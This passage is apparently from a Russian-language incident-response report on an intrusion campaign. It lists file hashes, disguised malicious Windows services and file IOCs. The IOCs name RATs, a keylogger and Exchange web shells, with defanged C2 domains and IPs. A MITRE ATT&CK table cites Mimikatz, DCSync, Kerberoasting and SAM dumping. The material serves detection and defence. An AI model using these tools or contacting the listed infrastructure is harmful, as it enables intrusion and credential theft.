f9a9ebab934d4154917116cdbde8ae0b2092c792
5212b2e283ad0c78deefd12dc12b91e776fc7954
f67417ddebec53ae1d847c73bd14ef62774d77eb
6acbc4ccbddf8f124b61a4fa0b897eb7203695b1
2ee2165177a55eaf8aae1081d6571f3067c2db9a
e99f20a17119249585391966450ab643fd36ecf7
28881982edee9192573ce9e931772bed9fea3cef
b93319e72623c18abd75930170defffe3fb0bd14
48acc122615802b00c3aafdcc753bc531028b9df
c319dd49ca2bd34b338e0eadffb41b7acee83c53
5dfae4fd438f6474cf83d9f2b15890b4ab37ee8a
de65c467c6decd71c2e250516601f8e231f431da
90da10004c8f6fafdaa2cf18922670a745564f45
8145a00085d41ad1b26b041b08e139fb71e287c5
7d6c84ca8839e694ca8465430d13398b0f099612
cf4641aa1851155e9d545b78c0b2732be42a748e
301146af6767b651aa99e2d5f86e4da8e9be1c45
806d2a6e3d038805af914548080841a98c6673e5
1468447a6de4698754d948e878df570266e47dc8
645901c3a130368443d4160da5f31b2123b5952f
ad53700ca78f887ef6fdd0d2cfcc570c107675e2
104ebbb0ec5ca7c652e4b3ee0366523fd898c865
b8c9b8754e74492a5f63fcde9874c757c42356e2
215950ce5d40907b041346f22b4e404ee591581d
b1272f3dc61e96b7f7c64e91a0ab244fe0652a21
318a7059baa2a74f91e2e1c184e1cb87691280f2
46273dcd110c2ba56ac056c11d06d2a994d434ee
905fadbfb5ad3bbf95713c5115eae4c04a73059e
bd910879b14d577f6c40b537bdf581c98884da12
97c30ae487a08aa3b3cdc8ab0498923d5192d645
303676ff8e4317ea2603385caf9f4b74fd3e84be
449992804bce496f7e328138326c4b607933ea9b
a9497942551529a2af3545e40e54927e2bb7c531
274f0e048c4c9da595eba52b96faaeeada01a737
e104ff975ae79f9a2a68b49db59491dd4b52a56e
02c414ba686525f15fd239f0a591e48012f35ce6
eeea5edd64aa969d3ff218111ac4f137875e39b6
453d2639e1e83e486a3d9a99788b4e650a2666db
1a39a8afee5f8d327d238a13547b24616f0ada9f
51c9c4f9d2f302be0010ecf107cdbabb15ae5986
e9afd6e688e58bd15ea6d03b9dab83fbcab141f3
ee51268582ce685a2a7be31cd52abaff9dff4b0b
db7a5fe8c3f00254d0e87d197361cd65a9687f83
57b25145303cf1ee68389c9e760a6cc054c9ddaf
265ed11c930682ccda55b19819e7ad6725f49093
df2a87f3c142925ff63cc264b2d3a628c3d666d4
d67ff6ae5990db924350f11f27e3e595b4aadc9f
d113bc67d41cef98900eaa084fc83dba6b4698b4

SHA256

6347aa71c7fea4c903d42c38220614ff45db62e3edaafe09a2e1da7823dc1b1b
a413b013555ae690b4ad4f3df475f39805cb9972c9219a102f9f9fe1675ac2f7
353ad4ab4465d638bcf12851ae955eb3728b94b02bb3ec81e3f834c99911821b
1fd4e67caf3a047a222cf14364ae415dd1e2903c1595745ad6bb3ff38e52a803
b89c51923cc04d1e3d7ae095b01e00cdc3a0b19edd1911dcb6eef1d0b17b72e1
8c28ba26c38cfba0091d33a95700f07fb31b63eebf6217441d49798e82a43ae2
93ddb14e410a0cf0b43928fe90b179305ef799c2aa51dbf5976f8c6a1a24a496
ebf4cb250956fe4cb5dc6aac608c97783a0850c4c3e86925aef6b37726c056ed
6164c0e1aa6d4e67946066a89b2c08002a046fa6ec7df55bd5def95d6278da3c
7d331e7ae3d29dc3a5bc63f26710e6b9314da8331741b7037b32cbee4a82ce46
aa6ea2a8f21c7b4de20af8ee2f33c0d4653d0639bc673da31fe40dc019cb675a
330c05ecd4083c279bfa11a7f41b0844f514b81baccfd3718e854175fac38d20
824659b20d804698092fffe911d55175e3ecf9269620059c38937356c2be5923
705b7e10d6fd7b7aff135ed2f50a229489baf5b53baa210dfb2c955303bc6a92
ccf7f8b000280bafc69f3e6ea07b482ecf7994b9421fa6eae47dd9cea3f5d848
47fd05c4ebb2de563ac3138043d65f395c7946ff724aa63c5bb4da7e14edfe19
1fcf74e0337a4cd1cacefb0185c1c9b6ffff813d293b38602e9a972be1027acd
b548bdecd15dc51d28be699dd91199523f3705e6557fef3a53b321f1fded3b4f
321a9532dfa7bf0609f0e2a2af0ca89f943e9fb91f5972e4381a9e455eea14c8
c4619f534a38c07b79612390e17d6fb0fb34c9093b473c16c94f2791899fda10
12bac8c57e469cbe6041dec682d2a4888a36a128bb9b87cd656bd4e2abe65692
7a9cf367e78eb73cb5c0618227f78f4f2bfa4328946e92fa91aeeccf730f973f
09db6b70efa3a26dee62812f0c428979ea9bb46128eb5dae32a72fc258fb6e5c
c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e
3edd50cfddf013e3bcaf54cb34841b760bf26a794a955591c09e8f3dcd0a2066
b9129eda8a7a931f5eccdbfe77826fbda7c930e7ec89240b1c36ff89c94bdfd1
d23673759cf004024b2a77a31543f0f71c8805827b2ca9c67ce95190beb0560f
5458efaf14947640c2d27d065455072943f4aa4020bfe816213089e060a5bb88
c421fe090619ce10abc899f47a68383c1151d737e3d6f4e5815ad61e37357fcb
ab223ac662d000d8c602771064ce63377bb4a4935667cb8bc182333a605898e7
69bb846d865cd7d26c95b044d52aa9200a107f1db1f1e5e23f27b20dac9f7848
c1bec59afd3c6071b461bb480ff88ba7e36759a949f4850cc26f0c18e4c811a0
8451eaa0ba4eecf5d126660b5fef598ec2ab4ace3f7b9566d01278b0c9dcedfb
58740a72def7f2642924f42a4637ec4b7a05666fd433e58bc80ddba30af7c2e7
d32cc7b31a6f98c60abc313abc7d1143681f72de2bb2604711a0ba20710caaae
32b2cce757b099f3068928eb4733442ce7f097e4ceb2fa495c3e67171a7c0a13
a251b9346b72eb143e9671523d589a9fbda8179873cd409eadb1fbbb7cf9cfc1
dcc273ab4d864bbc9c285a569a4905ff53e01fc1f70751b6211ab4f9fb004df8
8f2e45baab19660dd5968c4b650f7e0543597cca05dc1cefee0b755f32ed16fc
b18e4d7b04dec96007c56a07e90c7577a811d24ecd01ccd9cdeef085cbda6ffb
971c5164abf1ea2f377d308967967e060ec0b0534bc6e142c61816e49703f844
210cc53d030ce3e21287fc11f59511ff49766445fc14b93db7538c19c9f8e880
6f53de7bf5d04de61947e64ecff2b14f1103dd423041956ee636b15882d00467
11cfc078bc578f23b5a8aaa7a580336a8e703ee830c2d37ad31566dcba2af5fd
5164404a6d04de01e5f869706d218316fc6897063ab19e7d1cb3565b2fecafc4
b5f3b212f87d612b47c9775378c62730011659cf2729683a97180867dcef8a3a
ad4b862900c28a151dc305d8d22f56ec97c8d9f0ead38fcfa3beff0b263ac9a2
1b5f79e439f3aa43804d0dd0aaba0af6da15ecf6d03b4b8f1f25cef08ffc26fc
09382b9dfb902539377fec544fb29418565f92f5b009665e5fd29d9ff145fadf
175189ec02461fe2eaa8766b2602611eeee7dfb36ef6c822c30d9f8887abc304
1d1cb9b169bf3dc0cc7006f369f86f120e483ebd0ff84cdc7f5943d276f76961
04874e7db2e6d63b0ffd0c0280bbd29e3f6fa1571328743d09c711160676daef
099917e1c392c16bf228b7d85e7732841fdb87174e718842c9aad477b5e34203
a2f490902f063cb2bc1c90404be51e48e876023952a7872b55f5ecf80506fef4
b5dba723c9258435b74385815cd8ca2da92a81e279f4a37f10a2fc839defb422
a62163153ccd268e47492c912bfdd40ceb3df8142e0741071ab010ab6554795c
6210b55cf5dbca5fb4f2d660e103291431d445e6f1e0a537bf344a584814e79d
b8aead0e9f79ba7adde38ec3c2b2283bb89db606a788df118be906b171200aca
3ef4c1251e55f207420e27897e2969fb9069884c700164f3bbeedd3ef95b6d2e
d47c56438cabf5080a211606764a1c20207bc2589adbb9d0b4acd8f8c57c596e
2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100

Используемые сервисы

Имя

Отображаемое имя

Описание

Запускаемый файл

helpsvc

Microsoft Helpsvc

Microsoft Help Center Service

C:\Windows\System32\helpsvc.dll

helpsvc

help Service

Retrieves the serial number of any portable music player connected to your computer.

C:\Windows\System32\helpsvc.dll

Ntmssvc

network monitor Service

Retrieves the serial number of any portable music player connected to your computer.

C:\Windows\System32\ntmssvc.dll

Microsoft Resource

Microsoft Resource

-

C:\ProgramData\MicrosoftResource\TextInputHost.exe

RemoteAccess

Routing and Remote Access

Offers routing services to businesses in local area and wide area network environments.

C:\Windows\System32\mprdimsys.dll

SRService

System Restore Service

Performs system restore functions. To stop service, turn off System Restore from the System Restore tab in My Computer->Properties.

C:\Windows\System32\srsvc.dll

CMPSpy

-

-

C:\Windows\System32\CMPSpy.dll

WmdmPmSp

Windows Media Device Manager Service

The service supports the Secure Digital Music Initiative (SDMI) and enables the WMDM (Windows Media Device Manager) to retrieve the serial number from portable music devices using Pre-Message Security Protocol (PMSP), so media content can be copied securely to the device.

C:\Windows\System32\WmdmPmSp.dll



Приложение 3. Расширенная информация по файловым IOCs

Кейс 1

Путь

Хэш-сумма MD5

Хэш-сумма SHA1

Хэш-сумма SHA256

Комментарий

C:\PerfLogs\helpsvc.bat

518ae23346d7bf3bd38dd30385fa99fa

5f79e11dbb6a6eefbfc02404f9cbf2a12d0d54ed

6347aa71c7fea4c903d42c38220614ff45db62e3edaafe09a2e1da7823dc1b1b

Установщик службы helpsvc

C:\Windows\System32\helpsvc.dll

7b4ec1bdf76d88cee0e8a880f75184a2

-

6164c0e1aa6d4e67946066a89b2c08002a046fa6ec7df55bd5def95d6278da3c

Donnect или DimanoRAT
Файл отсутствовал на файловой системе

C:\Windows\System32\helpsvc.dll

c12f657efa3fa47e43e2b313a4e28d27

f7b57186feea1cf3d738260f2d77f0edebf1e71c

a413b013555ae690b4ad4f3df475f39805cb9972c9219a102f9f9fe1675ac2f7

Donnect

C2:

27.102.115[.]153:443

C:\Windows\System32\helpsvc.dll

bb0241fe783e5db8c34ece460cebeaa1

7b700dc311320aba5e7aa2b7641aea3d9e3a52f0

353ad4ab4465d638bcf12851ae955eb3728b94b02bb3ec81e3f834c99911821b

DimanoRAT

C2:

down.soft-update[.]com

38.54.16[.]120

C:\Windows\System32\helpsvc.dll

d053a16ced6382d1ec0b9869f9084860

3b29abd7e1de1d2fc4c8c7891aca7774113da4d2

1fd4e67caf3a047a222cf14364ae415dd1e2903c1595745ad6bb3ff38e52a803

DimanoRAT

C2:

yandexcloud.samogony[.]com

C:\Windows\System32\helpsvc.dll

ac7222db58b804aad7ef45cc2d884692

5b70c9bbde07a1516525f33dbef064e5f2c24d12

b89c51923cc04d1e3d7ae095b01e00cdc3a0b19edd1911dcb6eef1d0b17b72e1

Donnect

C2:

parking.samogony[.]com

C:\Windows\System32\helpsvc.dll

cf40fe8a588711f4fd716396dca9a1a1

adee650c278fdec5aaa710c94c71a47dd291fc04

8c28ba26c38cfba0091d33a95700f07fb31b63eebf6217441d49798e82a43ae2

DimanoRAT

C2:

reformamebel[.]com

C:\Windows\Temp\smb.exe

3239a8656c675a83ac84a68e06869827

18d9254e897fed81e6e0384e75838ba1fbdd3e44

93ddb14e410a0cf0b43928fe90b179305ef799c2aa51dbf5976f8c6a1a24a496

Проект https://github.com/0x7556/smbexec

C:\Windows\Temp\avp.exe

607654a81bb6c49d70d3601b70d968b2

64bf7617fe42800d4da8cf1f2201eafdc9a3174e

ebf4cb250956fe4cb5dc6aac608c97783a0850c4c3e86925aef6b37726c056ed

Сканер сетевых интерфейсов

C:\Windows\System32\mprdimsys.dll

def27ebdd447c605a05836fb359460b2

48f4ba8c10c02146af502a568416e70a86fe4108

7d331e7ae3d29dc3a5bc63f26710e6b9314da8331741b7037b32cbee4a82ce46

DimanoRAT

C2:

yandexcloud.samogony[.]com

C:\Windows\System32\ntmssvc.dll

a022c93e1b9e43f38bea0be55b34ecd0

32645cf32ea715bc41c72089b946c384a6a7e155

aa6ea2a8f21c7b4de20af8ee2f33c0d4653d0639bc673da31fe40dc019cb675a

DimanoRAT

C2:

api.hoteldinamo[.]com

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\options.aspx

C:\ProgramData\Microsoft\MF\Core.GRL

505af1d8b13ff998492021380221e4b9

f9a9ebab934d4154917116cdbde8ae0b2092c792

330c05ecd4083c279bfa11a7f41b0844f514b81baccfd3718e854175fac38d20

Веб-шелл для загрузки файлов

/tmp/apache_x64, /tmp/tar

6e8020a14a26ce32dab8df6eb1257667

5212b2e283ad0c78deefd12dc12b91e776fc7954

824659b20d804698092fffe911d55175e3ecf9269620059c38937356c2be5923

Venom Proxy

C:\Windows\System32\mprdimsys.dll

842ebb16b5a0a7a55f35cd53fbc53e3b

f67417ddebec53ae1d847c73bd14ef62774d77eb

705b7e10d6fd7b7aff135ed2f50a229489baf5b53baa210dfb2c955303bc6a92

DimanoRAT

C2:

185.4.66[.]116

C:\Windows\System32\CMPSpy.dll

c9de939b7393aac6225abd82f9abc2fb

6acbc4ccbddf8f124b61a4fa0b897eb7203695b1

ccf7f8b000280bafc69f3e6ea07b482ecf7994b9421fa6eae47dd9cea3f5d848

Кейлоггер CMPSpy

C:\Windows\Temp\ConfigureRegistrySettings.ps1

Установщик CMPSpy в качестве службы

C:\Windows\System32\ntmssvc.dll

17642a0f2b976c61e0eb866640d04a8c

2ee2165177a55eaf8aae1081d6571f3067c2db9a

47fd05c4ebb2de563ac3138043d65f395c7946ff724aa63c5bb4da7e14edfe19

DimanoRAT

C2:

parking.samogony[.]com

C:\Windows\System32\helpsvc.dll

5bd4a2a0894f8c4e492c041ced17b221

e99f20a17119249585391966450ab643fd36ecf7

1fcf74e0337a4cd1cacefb0185c1c9b6ffff813d293b38602e9a972be1027acd

DimanoRAT

C2:

www.puzirik[.]com

188.130.160[.]144

C:\Windows\System32\mprdimsys.dll

d2b058f69a29f2e25f19eb4d7e15416d

28881982edee9192573ce9e931772bed9fea3cef

b548bdecd15dc51d28be699dd91199523f3705e6557fef3a53b321f1fded3b4f

Donnect

C2:

ssl.hoteldinamo[.]com

192.248.153[.]215

C:\ProgramData\MicrosoftResource\TextInputHost.exe

325b897cde70ce7c42f0a8c6e135b6c2

b93319e72623c18abd75930170defffe3fb0bd14

321a9532dfa7bf0609f0e2a2af0ca89f943e9fb91f5972e4381a9e455eea14c8

Легитимное ПО Bandizip Command line tool для DLL-side load

C:\PerfLogs\calc.exe

31940f6eac72022abc1abf52d1d89e9f

48acc122615802b00c3aafdcc753bc531028b9df

c4619f534a38c07b79612390e17d6fb0fb34c9093b473c16c94f2791899fda10

SharpHound

C:\PerfLogs\libnet.exe

e091fe0e163500f7bb2521e96c1f8880

c319dd49ca2bd34b338e0eadffb41b7acee83c53

12bac8c57e469cbe6041dec682d2a4888a36a128bb9b87cd656bd4e2abe65692

Используется для расшифровки и запуска в памяти PE-файла
Агрументы командной строки:
<encr_pe_filename, xor_key>

C:\Windows\System32\srsvc.dll

122c17230e1bd8f3670901cf73238ddc

5dfae4fd438f6474cf83d9f2b15890b4ab37ee8a

7a9cf367e78eb73cb5c0618227f78f4f2bfa4328946e92fa91aeeccf730f973f

Donnect

C2:

dns.russianpaymentsforum[.]com

C:\inetpub\wwwroot\aspnet_client\system_web\iis_error.aspx

3be986a5d6da9fbade41421f6860ca68

de65c467c6decd71c2e250516601f8e231f431da

09db6b70efa3a26dee62812f0c428979ea9bb46128eb5dae32a72fc258fb6e5c

Веб-шелл big-shell

C:\Users\[redacted] \Documents\gitlab.exe
C:\Users\ Administrator\Documents\gitlab.exe
C:\Users\Administrator\gitlab.exe

C:\ProgramData\svcsvb.exe

f01a9a2d1e31332ed36c1a4d2839f412

90da10004c8f6fafdaa2cf18922670a745564f45

c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e

NBTScan, nbtscan-1.0.35.exe

C:\Windows\System32\Ntmssvc.dll

0b67e974fb8e80bd9b72fbb2974237d2

8145a00085d41ad1b26b041b08e139fb71e287c5

3edd50cfddf013e3bcaf54cb34841b760bf26a794a955591c09e8f3dcd0a2066

Donnect

C2:

158.247.203[.]87

C:\ProgramData\Microsoft\scrollend.ps1

96642718c6923b0067caa5bb4be3dcef

7d6c84ca8839e694ca8465430d13398b0f099612

b9129eda8a7a931f5eccdbfe77826fbda7c930e7ec89240b1c36ff89c94bdfd1

Запускает нагрузку из scrollend.log

C:\ProgramData\Microsoft\scrollend.log

7422724288e63d548c474b305e267b2e

cf4641aa1851155e9d545b78c0b2732be42a748e

d23673759cf004024b2a77a31543f0f71c8805827b2ca9c67ce95190beb0560f

Зашифрованный ps1-скрипт, который копирует веб-шелл для загрузки файлов settings.png

C:\ProgramData\Microsoft\RAC\settings.png

99ccc389df4fa9c109f47d61e4aa5b2b

301146af6767b651aa99e2d5f86e4da8e9be1c45

5458efaf14947640c2d27d065455072943f4aa4020bfe816213089e060a5bb88

Веб-шелл для загрузки файлов. Копируется в C:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources\planc_settings.aspx

C:\Windows\System32\Ntmssvc.dll

778aad6cb90efb907454796fbab20a9d

806d2a6e3d038805af914548080841a98c6673e5

c421fe090619ce10abc899f47a68383c1151d737e3d6f4e5815ad61e37357fcb

DimanoRAT

C2:

help.springnow[.]net

C:\ProgramData\MicrosoftResource\ark.x86.dll

0a8ae8de9650a695eeb27a783fc299f3

1468447a6de4698754d948e878df570266e47dc8

ab223ac662d000d8c602771064ce63377bb4a4935667cb8bc182333a605898e7

TrochilusRAT

C:\ProgramData\MicrosoftResource\sc.cfg

97f37f99edf74805812d5d251dc59e46

645901c3a130368443d4160da5f31b2123b5952f

69bb846d865cd7d26c95b044d52aa9200a107f1db1f1e5e23f27b20dac9f7848

Файл конфигураций TrochilusRAT

С2:

cariolis[.]com

C:\ProgramData\MicrosoftResource\TextInputHost.dat

078d72a61fe3de477669fcf07ef66fb3

ad53700ca78f887ef6fdd0d2cfcc570c107675e2

c1bec59afd3c6071b461bb480ff88ba7e36759a949f4850cc26f0c18e4c811a0

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\ser.dat

25c047f53e1b6b88d376e90a3d987050

104ebbb0ec5ca7c652e4b3ee0366523fd898c865

8451eaa0ba4eecf5d126660b5fef598ec2ab4ace3f7b9566d01278b0c9dcedfb

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\rcdll.dat

4ece4abc0ab1b8b1147095f159b77a89

b8c9b8754e74492a5f63fcde9874c757c42356e2

58740a72def7f2642924f42a4637ec4b7a05666fd433e58bc80ddba30af7c2e7

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\TextInputHost.exe

5d61be7db55b026a5d61a3eed09d0ead

215950ce5d40907b041346f22b4e404ee591581d

d32cc7b31a6f98c60abc313abc7d1143681f72de2bb2604711a0ba20710caaae

Уязвимое ПО GoogleToolbarNotifier.exe

C:\ProgramData\MicrosoftResource\gtn.dll

a679c7c7f7a0e960e0cda3ef465ec53c

b1272f3dc61e96b7f7c64e91a0ab244fe0652a21

32b2cce757b099f3068928eb4733442ce7f097e4ceb2fa495c3e67171a7c0a13

TrochilusRAT, запускает вредоносный код из dat-файлов

C:\ProgramData\MicrosoftResource\sc.cfg

dbab6271567d7d0774fdddf5eb5e50c2

318a7059baa2a74f91e2e1c184e1cb87691280f2

a251b9346b72eb143e9671523d589a9fbda8179873cd409eadb1fbbb7cf9cfc1

Файл конфигураций TrochilusRAT

С2:

dns-stream[.]com

C:\ProgramData\MicrosoftResource\ser.dat

bb3cf91ad5ab1991b048a3acd1414532

46273dcd110c2ba56ac056c11d06d2a994d434ee

dcc273ab4d864bbc9c285a569a4905ff53e01fc1f70751b6211ab4f9fb004df8

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\rcdll.dat

8f4a99bc93f9c88a05e80770736d3bfb

905fadbfb5ad3bbf95713c5115eae4c04a73059e

8f2e45baab19660dd5968c4b650f7e0543597cca05dc1cefee0b755f32ed16fc

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\sc.cfg

3fafe14286fe98df8b674f19402d9edb

bd910879b14d577f6c40b537bdf581c98884da12

b18e4d7b04dec96007c56a07e90c7577a811d24ecd01ccd9cdeef085cbda6ffb

Файл конфигураций TrochilusRAT

С2:

ttl.huzfs[.]com

C:\ProgramData\MicrosoftResource\ser.dat

c07c7ff79bd41e8d28659568d80109e1

97c30ae487a08aa3b3cdc8ab0498923d5192d645

971c5164abf1ea2f377d308967967e060ec0b0534bc6e142c61816e49703f844

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\sc.cfg

fb9e1ee7c2a9d439d830076887368c77

303676ff8e4317ea2603385caf9f4b74fd3e84be

210cc53d030ce3e21287fc11f59511ff49766445fc14b93db7538c19c9f8e880

Файл конфигураций TrochilusRAT

С2:

vorots[.]com

C:\ProgramData\MicrosoftResource\ser.dat

a83201e9de3dae06aae1ae5306eba5c3

449992804bce496f7e328138326c4b607933ea9b

6f53de7bf5d04de61947e64ecff2b14f1103dd423041956ee636b15882d00467

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\rcdll.dat

d95d2654b737f76305c1410c0cadcc40

a9497942551529a2af3545e40e54927e2bb7c531

11cfc078bc578f23b5a8aaa7a580336a8e703ee830c2d37ad31566dcba2af5fd

Полезная нагрузка TrochilusRAT

C:\Windows\System32\ntmssvc.dll

e0e2e67a6217c6ba30a407dc82f908db

274f0e048c4c9da595eba52b96faaeeada01a737

5164404a6d04de01e5f869706d218316fc6897063ab19e7d1cb3565b2fecafc4

DimanoRAT

C2:

38.54.16[.]120

C:\Windows\System32\ntmssvc.dll

b8b371eaf4aa05d68e24e2ceb582cc1f

e104ff975ae79f9a2a68b49db59491dd4b52a56e

b5f3b212f87d612b47c9775378c62730011659cf2729683a97180867dcef8a3a

Donnect

C2:

parking.samogony[.]com

C:\ProgramData\iexplor.exe

d69b2002478ce63143140df5669523aa

02c414ba686525f15fd239f0a591e48012f35ce6

ad4b862900c28a151dc305d8d22f56ec97c8d9f0ead38fcfa3beff0b263ac9a2

Command line RAR

C:\Windows\System32\srsvc.dll

31d65aa6735c05a83ced34595013045e

eeea5edd64aa969d3ff218111ac4f137875e39b6

1b5f79e439f3aa43804d0dd0aaba0af6da15ecf6d03b4b8f1f25cef08ffc26fc

Donnect
Принимает подключения по порту 44443

C:\Windows\System32\CMPSpy.dll

9ae9828a9e7cbe43dc146e7771d4f8f7

453d2639e1e83e486a3d9a99788b4e650a2666db

09382b9dfb902539377fec544fb29418565f92f5b009665e5fd29d9ff145fadf

Кейлоггер CMPSPY

C:\ProgramData\Cursors.exe

1be0dbf20f29ea302208d79e88c88539

175189ec02461fe2eaa8766b2602611eeee7dfb36ef6c822c30d9f8887abc304

Неизвестный файл атакующих

C:\ProgramData\aas.log

619f7135621b50fd1900ff24aade1524

6c7ea8bbd435163ae3945cbef30ef6b9872a4591

344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

Легитимный исполняемый файл 7-zip

C:\ProgramData\7z.dll

72491c7b87a7c2dd350b727444f13bb4

1e9338d56db7ded386878eab7bb44b8934ab1bc7

34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

Легитимная dll 7-zip

C:\ProgramData\7z.exe

afc08ce359e79887e45b8460e124d63e

e8dcddb302f01d51da3bcbfa6707d025a896aa57

a20d93e7dc3711e8b8a8f63bd148ddc70de8c952de882c5495ac121bfedb749f

Легитимный исполняемый файл 7-zip

C:\ProgramData\7z.dll

e7ae42ea24cff97bdead0c560ef2add1

866f380a62622ab1b6c7705ddc116635e6e3cc86

db2897eeea65401ee1bd8feeebd0dbae8867a27ff4575f12b0b8a613444a5ef7

Легитимная dll 7-zip

C:\ProgramData\share.ps1

7cb1d6219f9b0f71e5ae80b67ef5ab7b

1a39a8afee5f8d327d238a13547b24616f0ada9f

1d1cb9b169bf3dc0cc7006f369f86f120e483ebd0ff84cdc7f5943d276f76961

Скрипт для создания таблицы с имеющимися в системе файлами, а также данными о них

C:\Windows\System32\srsvc.dll

5f4e4079608b123943e11770d46ab881

51c9c4f9d2f302be0010ecf107cdbabb15ae5986

04874e7db2e6d63b0ffd0c0280bbd29e3f6fa1571328743d09c711160676daef

Donnect

C2:

DNS.russianpaymentsforum[.]com

C:\perflogs\Ntmssvc.bat

C:\perflogs\Udate.bat

Установщик службы Ntmssvc

C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\web.aspx

42f0dc07131705738a14baffd560be7c

e9afd6e688e58bd15ea6d03b9dab83fbcab141f3

099917e1c392c16bf228b7d85e7732841fdb87174e718842c9aad477b5e34203

web.config веб-шелл

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.2.1118\themes\resources\errorFE.aspx

0312f474debf9cef2843fa67b56f2c3d

ee51268582ce685a2a7be31cd52abaff9dff4b0b

a2f490902f063cb2bc1c90404be51e48e876023952a7872b55f5ecf80506fef4

Веб-шелл AntSpy

C:\ProgramData\Microsoft\WDF\errorFE.png

962ac92c11b3fce84603fca34bfd6d5f

db7a5fe8c3f00254d0e87d197361cd65a9687f83

b5dba723c9258435b74385815cd8ca2da92a81e279f4a37f10a2fc839defb422

Веб-шелл для загрузки файлов, который копируется в
C:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\
<ExchangeVersion>\themes\resources\lgnexlogo.aspx

C:\ProgramData\Microsoft\WDF\Speech.ps1

-

-

-

Запускает нагрузку из speech.log

C:\ProgramData\Microsoft\WDF\speech.log

dc8f54c05d9ca2794b0af00c3130f20a

57b25145303cf1ee68389c9e760a6cc054c9ddaf

a62163153ccd268e47492c912bfdd40ceb3df8142e0741071ab010ab6554795c

Зашифрованный ps1-скрипт, который копирует веб-шелл для загрузки файлов errorFE.png

C:\ProgramData\*\over.mds

-

-

-

Файл-метка для прекращения работы speech.log. Создается при первой неуспешной попытке копирования errorFE.png

C:\Windows\Tasks\agent.exe

C:\Users\Public\agent.exe

8867f74c013c0132a04b9c4f0b1ca367

265ed11c930682ccda55b19819e7ad6725f49093

6210b55cf5dbca5fb4f2d660e103291431d445e6f1e0a537bf344a584814e79d

Venom Proxy (упакован VMProtect)

C2:

38.180.29[.]3

C:\Windows\Temp\start.bat

e7dc06c7e2de61cf84ba10e7a12d764c

b8aead0e9f79ba7adde38ec3c2b2283bb89db606a788df118be906b171200aca

Вероятно, скрипт для создания службы SRService и закрепления srsvc.dll

c:\programdata\microsoft\WDF\ctfmon.ps1

dbbcfdb01b4912bb9c935edf89f400c2

df2a87f3c142925ff63cc264b2d3a628c3d666d4

3ef4c1251e55f207420e27897e2969fb9069884c700164f3bbeedd3ef95b6d2e

Скрипт, расшифровывающий WDF.log

C:\ProgramData\Microsoft\WDF\WDF.log

ae0ac04e64abf20870a5814f047a0658

d67ff6ae5990db924350f11f27e3e595b4aadc9f

d47c56438cabf5080a211606764a1c20207bc2589adbb9d0b4acd8f8c57c596e

Зашифрованная полезная нагрузка, расшифровываемая ctfmon.ps1, извлекает .NET KingOfHears

ControlledEnd.exe

9a1799b33499474dbffa658a8d6c70f1

d113bc67d41cef98900eaa084fc83dba6b4698b4

2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100

.NET KingOfHears (JSON variant) backdoor (нагрузка из WDF.log)
С2:

45.150.64[.]23

Кейс 2

Путь

Хэш-сумма MD5

Хэш-сумма SHA1

Хэш-сумма SHA256

Комментарий

c:\programdata\20232222.7z

-

-

-

Архив с данными

c:\windows\system32\csc\ertg

-

-

-

Неустановленный исполняемый

c:\programdata\bsc.ps1

-

-

-

Скрипт для расшифровки и запуска полезной нагрузки из bcs.log

c:\ProgramData\bcs.log

-

-

-

Полезная нагрузка

C:\programdata\contain.exe

-

-

-

Неустановленный исполняемый

Кейс 3

Путь

Хэш-сумма MD5

Хэш-сумма SHA1

Хэш-сумма SHA256

Комментарий

c:\programdata\errorlog.ps1

-

-

-

Скрипт для расшифровки и запуска полезной нагрузки из errorlog.log

c:\programdata\errorlog.log

-

-

-

Полезная нагрузка



Приложение 4. MITRE

Тактика

Техника

Описание

Initial Access

Exploit Public-Facing Application

ID: T1190

ProxyLogon

Valid Accounts: Domain Accounts
 ID: T1078.002

Использование легитимных учетных записей для начала атаки

Trusted Relationship

ID: T1199

Использование доверенных отношений

Discovery

System Owner/User Discovery

ID: T1033

Использование net group, net user, netsh wlan show, whoami, net localgroup, qwinsta, net group /domain

Account Discovery: Domain Account

ID: T1087.002

Использование Get-ADUser

Application Window Discovery

ID: T1010

tasklist

Remote System Discovery

ID: T1018

NBTScan

T1012 Query Registry

Проверка настроек реестра через утилиту reg.exe

T1083 File and Directory Discovery

Get-ChildItem команда

Credential Access

Modify Authentication Process

ID: T1556

CMPSpy

Модификация ветки реестра HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\HwOrder

OS Credential Dumping: DCSync

ID: T1003.006

Использование DCsync

Input Capture: Keylogging

ID: T1417.001

CMPSpy

OS Credential Dumping: LSASS Memory ID: T1003.001

Использование Mimikatz

Steal or Forge Kerberos Tickets: Kerberoasting
 ID: T1558.003

Использование kerberoasting

Unsecured Credentials
ID: T1552.004

Получение незащищенных данных, например через SessionGopher

OS Credential Dumping: Security Account Manager

ID: T1003.002

Дамп реестра SAM, SYSTEM

Execution

Command and Scripting Interpreter: Windows Command Shell

ID: T1059.003

Использование cmd, bat

Command and Scripting Interpreter: PowerShell

ID: T1059.001

Использование Powershell

Command and Scripting Interpreter: Visual

Basic

ID: T1059.005

Использование vbs файлов

Command and Scripting Interpreter: Unix Shell

ID: T1059.004

Использование bash

Lateral movement

Remote Services: SSH

ID: T1021.004

Следы использования ssh для доступа к хостам

